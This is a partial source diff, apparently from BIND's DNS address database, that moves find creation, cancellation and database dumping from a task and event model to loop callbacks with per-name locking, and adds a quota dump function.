-dns_adb_createfind(dns_adb_t *adb, isc_task_t *task, isc_taskaction_t action,
-		   void *arg, const dns_name_t *name, const dns_name_t *qname,
+dns_adb_createfind(dns_adb_t *adb, isc_loop_t *loop, isc_job_cb cb, void *cbarg,
+		   const dns_name_t *name, const dns_name_t *qname,
 		   dns_rdatatype_t qtype, unsigned int options,
 		   isc_stdtime_t now, dns_name_t *target, in_port_t port,
 		   unsigned int depth, isc_counter_t *qc,
 		   dns_adbfind_t **findp) {
-	dns_adbfind_t *find;
-	dns_adbname_t *adbname;
-	int bucket;
-	bool want_event, start_at_zone, alias, have_address;
-	isc_result_t result;
-	unsigned int wanted_addresses;
-	unsigned int wanted_fetches;
-	unsigned int query_pending;
-	char namebuf[DNS_NAME_FORMATSIZE];
+	isc_result_t result = ISC_R_UNEXPECTED;
+	dns_adbfind_t *find = NULL;
+	dns_adbname_t *adbname = NULL;
+	bool want_event = true;
+	bool start_at_zone = false;
+	bool alias = false;
+	bool have_address = false;
+	unsigned int wanted_addresses = (options & DNS_ADBFIND_ADDRESSMASK);
+	unsigned int wanted_fetches = 0;
+	unsigned int query_pending = 0;
+	char namebuf[DNS_NAME_FORMATSIZE] = { 0 };
 
 	REQUIRE(DNS_ADB_VALID(adb));
-	if (task != NULL) {
-		REQUIRE(action != NULL);
+	if (loop != NULL) {
+		REQUIRE(cb != NULL);
 	}
 	REQUIRE(name != NULL);
 	REQUIRE(qname != NULL);
@@ -3012,121 +2077,54 @@ dns_adb_createfind(dns_adb_t *adb, isc_task_t *task, isc_taskaction_t action,
 
 	REQUIRE((options & DNS_ADBFIND_ADDRESSMASK) != 0);
 
-	result = ISC_R_UNEXPECTED;
-	POST(result);
-	wanted_addresses = (options & DNS_ADBFIND_ADDRESSMASK);
-	wanted_fetches = 0;
-	query_pending = 0;
-	want_event = false;
-	start_at_zone = false;
-	alias = false;
+	if (atomic_load(&adb->exiting)) {
+		DP(DEF_LEVEL, "dns_adb_createfind: returning "
+			      "ISC_R_SHUTTINGDOWN");
 
-	if (now == 0) {
-		isc_stdtime_get(&now);
+		return (ISC_R_SHUTTINGDOWN);
 	}
 
-	/*
-	 * XXXMLG  Move this comment somewhere else!
-	 *
-	 * Look up the name in our internal database.
-	 *
-	 * Possibilities:  Note that these are not always exclusive.
-	 *
-	 *      No name found.  In this case, allocate a new name header and
-	 *      an initial namehook or two.  If any of these allocations
-	 *      fail, clean up and return ISC_R_NOMEMORY.
-	 *
-	 *      Name found, valid addresses present.  Allocate one addrinfo
-	 *      structure for each found and append it to the linked list
-	 *      of addresses for this header.
-	 *
-	 *      Name found, queries pending.  In this case, if a task was
-	 *      passed in, allocate a job id, attach it to the name's job
-	 *      list and remember to tell the caller that there will be
-	 *      more info coming later.
-	 */
-
-	find = new_adbfind(adb);
-	if (find == NULL) {
-		return (ISC_R_NOMEMORY);
+	if (now == 0) {
+		now = isc_stdtime_now();
 	}
 
-	find->port = port;
-
 	/*
 	 * Remember what types of addresses we are interested in.
 	 */
+	find = new_adbfind(adb, port);
 	find->options = options;
 	find->flags |= wanted_addresses;
 	if (FIND_WANTEVENT(find)) {
-		REQUIRE(task != NULL);
+		REQUIRE(loop != NULL);
 	}
 
 	if (isc_log_wouldlog(dns_lctx, DEF_LEVEL)) {
 		dns_name_format(name, namebuf, sizeof(namebuf));
-	} else {
-		namebuf[0] = 0;
-	}
-
-	/*
-	 * Try to see if we know anything about this name at all.
-	 */
-	bucket = DNS_ADB_INVALIDBUCKET;
-	adbname = find_name_and_lock(adb, name, find->options, &bucket);
-	INSIST(bucket != DNS_ADB_INVALIDBUCKET);
-	if (adb->name_sd[bucket]) {
-		DP(DEF_LEVEL, "dns_adb_createfind: returning "
-			      "ISC_R_SHUTTINGDOWN");
-		RUNTIME_CHECK(!free_adbfind(adb, &find));
-		result = ISC_R_SHUTTINGDOWN;
-		goto out;
 	}
 
-	/*
-	 * Nothing found.  Allocate a new adbname structure for this name.
-	 */
-	if (adbname == NULL) {
-		/*
-		 * See if there is any stale name at the end of list, and purge
-		 * it if so.
-		 */
-		check_stale_name(adb, bucket, now);
+again:
+	/* Try to see if we know anything about this name at all. */
+	adbname = get_attached_and_locked_name(adb, name,
+					       FIND_STARTATZONE(find), now);
 
-		adbname = new_adbname(adb, name);
-		if (adbname == NULL) {
-			RUNTIME_CHECK(!free_adbfind(adb, &find));
-			result = ISC_R_NOMEMORY;
-			goto out;
-		}
-		link_name(adb, bucket, adbname);
-		if (FIND_HINTOK(find)) {
-			adbname->flags |= NAME_HINT_OK;
-		}
-		if (FIND_GLUEOK(find)) {
-			adbname->flags |= NAME_GLUE_OK;
-		}
-		if (FIND_STARTATZONE(find)) {
-			adbname->flags |= NAME_STARTATZONE;
-		}
-	} else {
-		/* Move this name forward in the LRU list */
-		ISC_LIST_UNLINK(adb->names[bucket], adbname, plink);
-		ISC_LIST_PREPEND(adb->names[bucket], adbname, plink);
+	if (NAME_DEAD(adbname)) {
+		UNLOCK(&adbname->lock);
+		dns_adbname_detach(&adbname);
+		goto again;
 	}
-	adbname->last_used = now;
 
 	/*
-	 * Expire old entries, etc.
+	 * Name hooks expire after the address record's TTL or 30 minutes,
+	 * whichever is shorter. If there are expired name hooks, remove
+	 * them so we'll send a new fetch.
 	 */
-	RUNTIME_CHECK(!check_expire_namehooks(adbname, now));
+	maybe_expire_namehooks(adbname, now);
 
 	/*
 	 * Do we know that the name is an alias?
 	 */
 	if (!EXPIRE_OK(adbname->expire_target, now)) {
-		/*
-		 * Yes, it is.
-		 */
+		/* Yes, it is. */
 		DP(DEF_LEVEL,
 		   "dns_adb_createfind: name %s (%p) is an alias (cached)",
 		   namebuf, adbname);
@@ -3143,77 +2141,91 @@ dns_adb_createfind(dns_adb_t *adb, isc_task_t *task, isc_taskaction_t action,
 	    WANT_INET(wanted_addresses))
 	{
 		result = dbfind_name(adbname, now, dns_rdatatype_a);
-		if (result == ISC_R_SUCCESS) {
+		switch (result) {
+		case ISC_R_SUCCESS:
+			/* Found an A; now we proceed to check for AAAA */
 			DP(DEF_LEVEL,
 			   "dns_adb_createfind: found A for name %s (%p) in db",
 			   namebuf, adbname);
-			goto v6;
-		}
+			break;
 
-		/*
-		 * Did we get a CNAME or DNAME?
-		 */
-		if (result == DNS_R_ALIAS) {
+		case DNS_R_ALIAS:
+			/* Got a CNAME or DNAME. */
 			DP(DEF_LEVEL,
 			   "dns_adb_createfind: name %s (%p) is an alias",
 			   namebuf, adbname);
 			alias = true;
 			goto post_copy;
-		}
 
-		/*
-		 * If the name doesn't exist at all, don't bother with
-		 * v6 queries; they won't work.
-		 *
-		 * If the name does exist but we didn't get our data, go
-		 * ahead and try AAAA.
-		 *
-		 * If the result is neither of these, try a fetch for A.
-		 */
-		if (NXDOMAIN_RESULT(result)) {
+		case DNS_R_NXDOMAIN:
+		case DNS_R_NCACHENXDOMAIN:
+			/*
+			 * If the name doesn't exist at all, don't bother with
+			 * v6 queries; they won't work.
+			 */
 			goto fetch;
-		} else if (NXRRSET_RESULT(result)) {
-			goto v6;
-		}
 
-		if (!NAME_FETCH_V4(adbname)) {
-			wanted_fetches |= DNS_ADBFIND_INET;
+		case DNS_R_NXRRSET:
+		case DNS_R_NCACHENXRRSET:
+		case DNS_R_HINTNXRRSET:
+			/*
+			 * The name does exist but we didn't get our data, go
+			 * ahead and try AAAA.
+			 */
+			break;
+
+		default:
+			/*
+			 * Any other result, start a fetch for A, then fall
+			 * through to AAAA.
+			 */
+			if (!NAME_FETCH_A(adbname)) {
+				wanted_fetches |= DNS_ADBFIND_INET;
+			}
+			break;
 		}
 	}
 
-v6:
+	/*
+	 * Now look up or start fetches for AAAA.
+	 */
 	if (!NAME_HAS_V6(adbname) && EXPIRE_OK(adbname->expire_v6, now) &&
 	    WANT_INET6(wanted_addresses))
 	{
 		result = dbfind_name(adbname, now, dns_rdatatype_aaaa);
-		if (result == ISC_R_SUCCESS) {
+		switch (result) {
+		case ISC_R_SUCCESS:
 			DP(DEF_LEVEL,
 			   "dns_adb_createfind: found AAAA for name %s (%p)",
 			   namebuf, adbname);
-			goto fetch;
-		}
+			break;
 
-		/*
-		 * Did we get a CNAME or DNAME?
-		 */
-		if (result == DNS_R_ALIAS) {
+		case DNS_R_ALIAS:
+			/* Got a CNAME or DNAME. */
 			DP(DEF_LEVEL,
 			   "dns_adb_createfind: name %s (%p) is an alias",
 			   namebuf, adbname);
 			alias = true;
 			goto post_copy;
-		}
 
-		/*
-		 * Listen to negative cache hints, and don't start
-		 * another query.
-		 */
-		if (NCACHE_RESULT(result) || AUTH_NX(result)) {
-			goto fetch;
-		}
+		case DNS_R_NXDOMAIN:
+		case DNS_R_NCACHENXDOMAIN:
+		case DNS_R_NXRRSET:
+		case DNS_R_NCACHENXRRSET:
+			/*
+			 * Name doens't exist or was found in the negative
+			 * cache to have no AAAA, don't bother fetching.
+			 */
+			break;
 
-		if (!NAME_FETCH_V6(adbname)) {
-			wanted_fetches |= DNS_ADBFIND_INET6;
+		default:
+			/*
+			 * Any other result, start a fetch for AAAA.
+			 */
+			if (!NAME_FETCH_AAAA(adbname)) {
+				wanted_fetches |= DNS_ADBFIND_INET6;
+			}
+			break;
 		}
 	}
 
@@ -3273,10 +2285,10 @@ dns_adb_createfind(dns_adb_t *adb, isc_task_t *task, isc_taskaction_t action,
 	copy_namehook_lists(adb, find, qname, qtype, adbname, now);
 
 post_copy:
-	if (NAME_FETCH_V4(adbname)) {
+	if (NAME_FETCH_A(adbname)) {
 		query_pending |= DNS_ADBFIND_INET;
 	}
-	if (NAME_FETCH_V6(adbname)) {
+	if (NAME_FETCH_AAAA(adbname)) {
 		query_pending |= DNS_ADBFIND_INET6;
 	}
 
@@ -3284,7 +2296,6 @@ dns_adb_createfind(dns_adb_t *adb, isc_task_t *task, isc_taskaction_t action,
 	 * Attach to the name's query list if there are queries
 	 * already running, and we have been asked to.
 	 */
-	want_event = true;
 	if (!FIND_WANTEVENT(find)) {
 		want_event = false;
 	}
@@ -3298,16 +2309,15 @@ dns_adb_createfind(dns_adb_t *adb, isc_task_t *task, isc_taskaction_t action,
 		want_event = false;
 	}
 	if (want_event) {
+		bool empty;
+
 		find->adbname = adbname;
-		find->name_bucket = bucket;
-		bool empty = ISC_LIST_EMPTY(adbname->finds);
+		empty = ISC_LIST_EMPTY(adbname->finds);
 		ISC_LIST_APPEND(adbname->finds, find, plink);
 		find->query_pending = (query_pending & wanted_addresses);
 		find->flags &= ~DNS_ADBFIND_ADDRESSMASK;
 		find->flags |= (find->query_pending & DNS_ADBFIND_ADDRESSMASK);
-		DP(DEF_LEVEL,
-		   "createfind: attaching find %p to adbname "
-		   "%p %d",
+		DP(DEF_LEVEL, "createfind: attaching find %p to adbname %p %d",
 		   find, adbname, empty);
 	} else {
 		/*
@@ -3318,7 +2328,7 @@ dns_adb_createfind(dns_adb_t *adb, isc_task_t *task, isc_taskaction_t action,
 		 */
 		find->query_pending = (query_pending & wanted_addresses);
 		find->options &= ~DNS_ADBFIND_WANTEVENT;
-		find->flags |= (FIND_EVENT_SENT | FIND_EVENT_FREED);
+		find->flags |= FIND_EVENT_SENT;
 		find->flags &= ~DNS_ADBFIND_ADDRESSMASK;
 	}
 
@@ -3338,171 +2348,124 @@ dns_adb_createfind(dns_adb_t *adb, isc_task_t *task, isc_taskaction_t action,
 	find->result_v4 = find_err_map[adbname->fetch_err];
 	find->result_v6 = find_err_map[adbname->fetch6_err];
 
-out:
-	if (find != NULL) {
-		*findp = find;
-
-		if (want_event) {
-			isc_task_t *taskp;
-
-			INSIST((find->flags & DNS_ADBFIND_ADDRESSMASK) != 0);
-			taskp = NULL;
-			isc_task_attach(task, &taskp);
-			find->event.ev_sender = taskp;
-			find->event.ev_action = action;
-			find->event.ev_arg = arg;
-		}
+	if (want_event) {
+		INSIST((find->flags & DNS_ADBFIND_ADDRESSMASK) != 0);
+		find->loop = loop;
+		find->status = DNS_ADB_UNSET;
+		find->cb = cb;
+		find->cbarg = cbarg;
 	}
 
-	UNLOCK(&adb->namelocks[bucket]);
+	*findp = find;
+
+	UNLOCK(&adbname->lock);
+	dns_adbname_detach(&adbname);
 
 	return (result);
 }
 
 void
 dns_adb_destroyfind(dns_adbfind_t **findp) {
-	dns_adbfind_t *find;
-	dns_adbentry_t *entry;
-	dns_adbaddrinfo_t *ai;
-	int bucket;
-	dns_adb_t *adb;
-	bool overmem;
+	dns_adbfind_t *find = NULL;
+	dns_adbaddrinfo_t *ai = NULL;
+	dns_adb_t *adb = NULL;
 
 	REQUIRE(findp != NULL && DNS_ADBFIND_VALID(*findp));
+
 	find = *findp;
 	*findp = NULL;
 
-	LOCK(&find->lock);
-
 	DP(DEF_LEVEL, "dns_adb_destroyfind on find %p", find);
 
 	adb = find->adb;
-	REQUIRE(DNS_ADB_VALID(adb));
 
-	REQUIRE(FIND_EVENTFREED(find));
-
-	bucket = find->name_bucket;
-	INSIST(bucket == DNS_ADB_INVALIDBUCKET);
+	LOCK(&find->lock);
 
-	UNLOCK(&find->lock);
+	REQUIRE(find->adbname == NULL);
 
 	/*
-	 * The find doesn't exist on any list, and nothing is locked.
-	 * Return the find to the memory pool, and decrement the adb's
-	 * reference count.
+	 * Free the addrinfo objects on the find's list. Note that
+	 * we also need to decrement the reference counter in the
+	 * associated adbentry every time we remove one from the list.
 	 */
-	overmem = isc_mem_isovermem(adb->mctx);
 	ai = ISC_LIST_HEAD(find->list);
 	while (ai != NULL) {
 		ISC_LIST_UNLINK(find->list, ai, publink);
-		entry = ai->entry;
-		ai->entry = NULL;
-		INSIST(DNS_ADBENTRY_VALID(entry));
-		RUNTIME_CHECK(!dec_entry_refcnt(adb, overmem, entry, true));
 		free_adbaddrinfo(adb, &ai);
 		ai = ISC_LIST_HEAD(find->list);
 	}
+	UNLOCK(&find->lock);
 
-	/*
-	 * WARNING:  The find is freed with the adb locked.  This is done
-	 * to avoid a race condition where we free the find, some other
-	 * thread tests to see if it should be destroyed, detects it should
-	 * be, destroys it, and then we try to lock it for our check, but the
-	 * lock is destroyed.
-	 */
-	LOCK(&adb->lock);
-	if (free_adbfind(adb, &find)) {
-		check_exit(adb);
+	free_adbfind(&find);
+}
+
+/*
+ * Caller must hold find lock.
+ */
+static void
+find_sendevent(dns_adbfind_t *find) {
+	if (!FIND_EVENTSENT(find)) {
+		find->status = DNS_ADB_CANCELED;
+		find->result_v4 = ISC_R_CANCELED;
+		find->result_v6 = ISC_R_CANCELED;
+
+		DP(DEF_LEVEL, "sending find %p to caller", find);
+
+		isc_async_run(find->loop, find->cb, find);
 	}
-	UNLOCK(&adb->lock);
 }
 
 void
 dns_adb_cancelfind(dns_adbfind_t *find) {
-	isc_event_t *ev;
-	isc_task_t *task;
-	dns_adb_t *adb;
-	int bucket;
-	int unlock_bucket;
-
-	LOCK(&find->lock);
+	dns_adbname_t *adbname = NULL;
 
 	DP(DEF_LEVEL, "dns_adb_cancelfind on find %p", find);
 
-	adb = find->adb;
-	REQUIRE(DNS_ADB_VALID(adb));
+	REQUIRE(DNS_ADBFIND_VALID(find));
+	REQUIRE(DNS_ADB_VALID(find->adb));
 
-	REQUIRE(!FIND_EVENTFREED(find));
+	LOCK(&find->lock);
 	REQUIRE(FIND_WANTEVENT(find));
 
-	bucket = find->name_bucket;
-	if (bucket == DNS_ADB_INVALIDBUCKET) {
-		goto cleanup;
-	}
+	adbname = find->adbname;
+
+	if (adbname == NULL) {
+		find_sendevent(find);
+		UNLOCK(&find->lock);
+	} else {
+		/*
+		 * Release the find lock, then acquire the name and find
+		 * locks in that order, to match locking hierarchy
+		 * elsewhere.
+		 */
+		UNLOCK(&find->lock);
+		LOCK(&adbname->lock);
+		LOCK(&find->lock);
 
-	/*
-	 * We need to get the adbname's lock to unlink the find.
-	 */
-	unlock_bucket = bucket;
-	violate_locking_hierarchy(&find->lock, &adb->namelocks[unlock_bucket]);
-	bucket = find->name_bucket;
-	if (bucket != DNS_ADB_INVALIDBUCKET) {
-		ISC_LIST_UNLINK(find->adbname->finds, find, plink);
+		ISC_LIST_UNLINK(adbname->finds, find, plink);
 		find->adbname = NULL;
-		find->name_bucket = DNS_ADB_INVALIDBUCKET;
-	}
-	UNLOCK(&adb->namelocks[unlock_bucket]);
-	bucket = DNS_ADB_INVALIDBUCKET;
-	POST(bucket);
-
-cleanup:
-
-	if (!FIND_EVENTSENT(find)) {
-		ev = &find->event;
-		task = ev->ev_sender;
-		ev->ev_sender = find;
-		ev->ev_type = DNS_EVENT_ADBCANCELED;
-		ev->ev_destroy = event_free;
-		ev->ev_destroy_arg = find;
-		find->result_v4 = ISC_R_CANCELED;
-		find->result_v6 = ISC_R_CANCELED;
 
-		DP(DEF_LEVEL, "sending event %p to task %p for find %p", ev,
-		   task, find);
+		find_sendevent(find);
 
-		isc_task_sendanddetach(&task, (isc_event_t **)&ev);
+		UNLOCK(&find->lock);
+		UNLOCK(&adbname->lock);
 	}
-
-	UNLOCK(&find->lock);
 }
 
 void
 dns_adb_dump(dns_adb_t *adb, FILE *f) {
-	unsigned int i;
-	isc_stdtime_t now;
+	isc_stdtime_t now = isc_stdtime_now();
 
 	REQUIRE(DNS_ADB_VALID(adb));
 	REQUIRE(f != NULL);
 
-	/*
-	 * Lock the adb itself, lock all the name buckets, then lock all
-	 * the entry buckets.  This should put the adb into a state where
-	 * nothing can change, so we can iterate through everything and
-	 * print at our leisure.
-	 */
-
-	LOCK(&adb->lock);
-	isc_stdtime_get(&now);
-
-	for (i = 0; i < adb->nnames; i++) {
-		RUNTIME_CHECK(!cleanup_names(adb, i, now));
-	}
-	for (i = 0; i < adb->nentries; i++) {
-		RUNTIME_CHECK(!cleanup_entries(adb, i, now));
+	if (atomic_load(&adb->exiting)) {
+		return;
 	}
 
+	cleanup_names(adb, now);
+	cleanup_entries(adb, now);
 	dump_adb(adb, f, false, now);
-	UNLOCK(&adb->lock);
 }
 
 static void
@@ -3513,120 +2476,75 @@ dump_ttl(FILE *f, const char *legend, isc_stdtime_t value, isc_stdtime_t now) {
 	fprintf(f, " [%s TTL %d]", legend, (int)(value - now));
 }
 
+/*
+ * Both rwlocks for the hash tables need to be held by the caller.
+ */
 static void
 dump_adb(dns_adb_t *adb, FILE *f, bool debug, isc_stdtime_t now) {
-	dns_adbname_t *name;
-	dns_adbentry_t *entry;
-
 	fprintf(f, ";\n; Address database dump\n;\n");
 	fprintf(f, "; [edns success/timeout]\n");
 	fprintf(f, "; [plain success/timeout]\n;\n");
 	if (debug) {
-		LOCK(&adb->reflock);
-		fprintf(f, "; addr %p, erefcnt %u, irefcnt %u, finds out %u\n",
-			adb, adb->erefcnt, adb->irefcnt,
-			isc_mempool_getallocated(adb->nhmp));
-		UNLOCK(&adb->reflock);
-	}
-
-/*
- * In TSAN mode we need to lock the locks individually, as TSAN
- * can't handle more than 64 locks locked by one thread.
- * In regular mode we want a consistent dump so we need to
- * lock everything.
- */
-#ifndef __SANITIZE_THREAD__
-	for (size_t i = 0; i < adb->nnames; i++) {
-		LOCK(&adb->namelocks[i]);
-	}
-	for (size_t i = 0; i < adb->nentries; i++) {
-		LOCK(&adb->entrylocks[i]);
+		fprintf(f, "; addr %p, references %" PRIuFAST32 "\n", adb,
+			isc_refcount_current(&adb->references));
 	}
-#endif /* ifndef __SANITIZE_THREAD__ */
 
 	/*
-	 * Dump the names
+	 * Ensure this operation is applied to both hash tables at once.
 	 */
-	for (size_t i = 0; i < adb->nnames; i++) {
-#ifdef __SANITIZE_THREAD__
-		LOCK(&adb->namelocks[i]);
-#endif /* ifdef __SANITIZE_THREAD__ */
-		name = ISC_LIST_HEAD(adb->names[i]);
-		if (name == NULL) {
-#ifdef __SANITIZE_THREAD__
-			UNLOCK(&adb->namelocks[i]);
-#endif /* ifdef __SANITIZE_THREAD__ */
-			continue;
-		}
+	RWLOCK(&adb->names_lock, isc_rwlocktype_write);
+
+	for (dns_adbname_t *name = ISC_LIST_HEAD(adb->names_lru); name != NULL;
+	     name = ISC_LIST_NEXT(name, link))
+	{
+		LOCK(&name->lock);
+		/*
+		 * Dump the names
+		 */
 		if (debug) {
-			fprintf(f, "; bucket %zu\n", i);
+			fprintf(f, "; name %p (flags %08x)\n", name,
+				name->flags);
+		}
+		fprintf(f, "; ");
+		dns_name_print(&name->name, f);
+		if (dns_name_countlabels(&name->target) > 0) {
+			fprintf(f, " alias ");
+			dns_name_print(&name->target, f);
 		}
-		for (; name != NULL; name = ISC_LIST_NEXT(name, plink)) {
-			if (debug) {
-				fprintf(f, "; name %p (flags %08x)\n", name,
-					name->flags);
-			}
-			fprintf(f, "; ");
-			print_dns_name(f, &name->name);
-			if (dns_name_countlabels(&name->target) > 0) {
-				fprintf(f, " alias ");
-				print_dns_name(f, &name->target);
-			}
 
-			dump_ttl(f, "v4", name->expire_v4, now);
-			dump_ttl(f, "v6", name->expire_v6, now);
-			dump_ttl(f, "target", name->expire_target, now);
+		dump_ttl(f, "v4", name->expire_v4, now);
+		dump_ttl(f, "v6", name->expire_v6, now);
+		dump_ttl(f, "target", name->expire_target, now);
 
-			fprintf(f, " [v4 %s] [v6 %s]",
-				errnames[name->fetch_err],
-				errnames[name->fetch6_err]);
+		fprintf(f, " [v4 %s] [v6 %s]", errnames[name->fetch_err],
+			errnames[name->fetch6_err]);
 
-			fprintf(f, "\n");
+		fprintf(f, "\n");
 
-			print_namehook_list(f, "v4", adb, &name->v4, debug,
-					    now);
-			print_namehook_list(f, "v6", adb, &name->v6, debug,
-					    now);
+		print_namehook_list(f, "v4", adb, &name->v4, debug, now);
+		print_namehook_list(f, "v6", adb, &name->v6, debug, now);
 
-			if (debug) {
-				print_fetch_list(f, name);
-				print_find_list(f, name);
-			}
+		if (debug) {
+			print_fetch_list(f, name);
+			print_find_list(f, name);
 		}
-#ifdef __SANITIZE_THREAD__
-		UNLOCK(&adb->namelocks[i]);
-#endif /* ifdef __SANITIZE_THREAD__ */
+		UNLOCK(&name->lock);
 	}
 
+	RWLOCK(&adb->entries_lock, isc_rwlocktype_write);
 	fprintf(f, ";\n; Unassociated entries\n;\n");
-
-	for (size_t i = 0; i < adb->nentries; i++) {
-#ifdef __SANITIZE_THREAD__
-		LOCK(&adb->entrylocks[i]);
-#endif /* ifdef __SANITIZE_THREAD__ */
-		entry = ISC_LIST_HEAD(adb->entries[i]);
-		while (entry != NULL) {
-			if (entry->nh == 0) {
-				dump_entry(f, adb, entry, debug, now);
-			}
-			entry = ISC_LIST_NEXT(entry, plink);
+	for (dns_adbentry_t *adbentry = ISC_LIST_HEAD(adb->entries_lru);
+	     adbentry != NULL; adbentry = ISC_LIST_NEXT(adbentry, link))
+	{
+		LOCK(&adbentry->lock);
+		if (ISC_LIST_EMPTY(adbentry->nhs)) {
+			dump_entry(f, adb, adbentry, debug, now);
 		}
-#ifdef __SANITIZE_THREAD__
-		UNLOCK(&adb->entrylocks[i]);
-#endif /* ifdef __SANITIZE_THREAD__ */
+		UNLOCK(&adbentry->lock);
 	}
 
-#ifndef __SANITIZE_THREAD__
-	/*
-	 * Unlock everything
-	 */
-	for (ssize_t i = adb->nentries - 1; i >= 0; i--) {
-		UNLOCK(&adb->entrylocks[i]);
-	}
-	for (ssize_t i = adb->nnames - 1; i >= 0; i--) {
-		UNLOCK(&adb->namelocks[i]);
-	}
-#endif /* ifndef __SANITIZE_THREAD__ */
+	RWUNLOCK(&adb->entries_lock, isc_rwlocktype_write);
+	RWUNLOCK(&adb->names_lock, isc_rwlocktype_write);
 }
 
 static void
@@ -3635,13 +2553,14 @@ dump_entry(FILE *f, dns_adb_t *adb, dns_adbentry_t *entry, bool debug,
 	char addrbuf[ISC_NETADDR_FORMATSIZE];
 	char typebuf[DNS_RDATATYPE_FORMATSIZE];
 	isc_netaddr_t netaddr;
-	dns_adblameinfo_t *li;
+	dns_adblameinfo_t *li = NULL;
 
 	isc_netaddr_fromsockaddr(&netaddr, &entry->sockaddr);
 	isc_netaddr_format(&netaddr, addrbuf, sizeof(addrbuf));
 
 	if (debug) {
-		fprintf(f, ";\t%p: refcnt %u\n", entry, entry->refcnt);
+		fprintf(f, ";\t%p: refcnt %" PRIuFAST32 "\n", entry,
+			isc_refcount_current(&entry->references));
 	}
 
 	fprintf(f,
@@ -3675,19 +2594,19 @@ dump_entry(FILE *f, dns_adb_t *adb, dns_adbentry_t *entry, bool debug,
 	     li = ISC_LIST_NEXT(li, plink))
 	{
 		fprintf(f, ";\t\t");
-		print_dns_name(f, &li->qname);
+		dns_name_print(&li->qname, f);
 		dns_rdatatype_format(li->qtype, typebuf, sizeof(typebuf));
 		fprintf(f, " %s [lame TTL %d]\n", typebuf,
 			(int)(li->lame_timer - now));
 	}
 }
 
-void
-dns_adb_dumpfind(dns_adbfind_t *find, FILE *f) {
+static void
+dumpfind(dns_adbfind_t *find, FILE *f) {
 	char tmp[512];
-	const char *tmpp;
-	dns_adbaddrinfo_t *ai;
-	isc_sockaddr_t *sa;
+	const char *tmpp = NULL;
+	dns_adbaddrinfo_t *ai = NULL;
+	isc_sockaddr_t *sa = NULL;
 
 	/*
 	 * Not used currently, in the API Just In Case we
@@ -3700,8 +2619,7 @@ dns_adb_dumpfind(dns_adbfind_t *find, FILE *f) {
 	fprintf(f, ";\tqpending %08x partial %08x options %08x flags %08x\n",
 		find->query_pending, find->partial_result, find->options,
 		find->flags);
-	fprintf(f, ";\tname_bucket %d, name %p, event sender %p\n",
-		find->name_bucket, find->adbname, find->event.ev_sender);
+	fprintf(f, ";\tname %p\n", find->adbname);
 
 	ai = ISC_LIST_HEAD(find->list);
 	if (ai != NULL) {
@@ -3737,32 +2655,25 @@ dns_adb_dumpfind(dns_adbfind_t *find, FILE *f) {
 	UNLOCK(&find->lock);
 }
 
-static void
-print_dns_name(FILE *f, const dns_name_t *name) {
-	char buf[DNS_NAME_FORMATSIZE];
-
-	INSIST(f != NULL);
-
-	dns_name_format(name, buf, sizeof(buf));
-	fprintf(f, "%s", buf);
-}
-
 static void
 print_namehook_list(FILE *f, const char *legend, dns_adb_t *adb,
 		    dns_adbnamehooklist_t *list, bool debug,
 		    isc_stdtime_t now) {
-	dns_adbnamehook_t *nh;
+	dns_adbnamehook_t *nh = NULL;
 
 	for (nh = ISC_LIST_HEAD(*list); nh != NULL;
-	     nh = ISC_LIST_NEXT(nh, plink)) {
+	     nh = ISC_LIST_NEXT(nh, name_link))
+	{
 		if (debug) {
 			fprintf(f, ";\tHook(%s) %p\n", legend, nh);
 		}
+		LOCK(&nh->entry->lock);
 		dump_entry(f, adb, nh->entry, debug, now);
+		UNLOCK(&nh->entry->lock);
 	}
 }
 
-static inline void
+static void
 print_fetch(FILE *f, dns_adbfetch_t *ft, const char *type) {
 	fprintf(f, "\t\tFetch(%s): %p -> { fetch %p }\n", type, ft, ft->fetch);
 }
@@ -3779,27 +2690,83 @@ print_fetch_list(FILE *f, dns_adbname_t *n) {
 
 static void
 print_find_list(FILE *f, dns_adbname_t *name) {
-	dns_adbfind_t *find;
+	dns_adbfind_t *find = NULL;
 
 	find = ISC_LIST_HEAD(name->finds);
 	while (find != NULL) {
-		dns_adb_dumpfind(find, f);
+		dumpfind(find, f);
 		find = ISC_LIST_NEXT(find, plink);
 	}
 }
 
+static isc_result_t
+putstr(isc_buffer_t **b, const char *str) {
+	isc_result_t result;
+
+	result = isc_buffer_reserve(*b, strlen(str));
+	if (result != ISC_R_SUCCESS) {
+		return (result);
+	}
+
+	isc_buffer_putstr(*b, str);
+	return (ISC_R_SUCCESS);
+}
+
+isc_result_t
+dns_adb_dumpquota(dns_adb_t *adb, isc_buffer_t **buf) {
+	REQUIRE(DNS_ADB_VALID(adb));
+
+	isc_hashmap_iter_t *it = NULL;
+	isc_result_t result;
+
+	RWLOCK(&adb->entries_lock, isc_rwlocktype_read);
+	isc_hashmap_iter_create(adb->entries, &it);
+	for (result = isc_hashmap_iter_first(it); result == ISC_R_SUCCESS;
+	     result = isc_hashmap_iter_next(it))
+	{
+		dns_adbentry_t *entry = NULL;
+		isc_hashmap_iter_current(it, (void **)&entry);
+
+		LOCK(&entry->lock);
+		char addrbuf[ISC_NETADDR_FORMATSIZE];
+		char text[ISC_NETADDR_FORMATSIZE + BUFSIZ];
+		isc_netaddr_t netaddr;
+
+		if (entry->atr == 0.0 && entry->quota == adb->quota) {
+			goto unlock;
+		}
+
+		isc_netaddr_fromsockaddr(&netaddr, &entry->sockaddr);
+		isc_netaddr_format(&netaddr, addrbuf, sizeof(addrbuf));
+
+		snprintf(text, sizeof(text),
+			 "\n- quota %s (%" PRIuFAST32 "/%d) atr %0.2f", addrbuf,
+			 atomic_load_relaxed(&entry->quota), adb->quota,
+			 entry->atr);
+		putstr(buf, text);
+	unlock:
+		UNLOCK(&entry->lock);
+	}
+	isc_hashmap_iter_destroy(&it);
+	RWUNLOCK(&adb->entries_lock, isc_rwlocktype_read);
+
+	return (ISC_R_SUCCESS);
+}
+
 static isc_result_t
 dbfind_name(dns_adbname_t *adbname, isc_stdtime_t now, dns_rdatatype_t rdtype) {
 	isc_result_t result;
 	dns_rdataset_t rdataset;
-	dns_adb_t *adb;
+	dns_adb_t *adb = NULL;
 	dns_fixedname_t foundname;
-	dns_name_t *fname;
+	dns_name_t *fname = NULL;
+
+	REQUIRE(DNS_ADBNAME_VALID(adbname));
 
-	INSIST(DNS_ADBNAME_VALID(adbname));
 	adb = adbname->adb;
-	INSIST(DNS_ADB_VALID(adb));
-	INSIST(rdtype == dns_rdatatype_a || rdtype == dns_rdatatype_aaaa);
+
+	REQUIRE(DNS_ADB_VALID(adb));
+	REQUIRE(rdtype == dns_rdatatype_a || rdtype == dns_rdatatype_aaaa);
 
 	fname = dns_fixedname_initname(&foundname);
 	dns_rdataset_init(&rdataset);
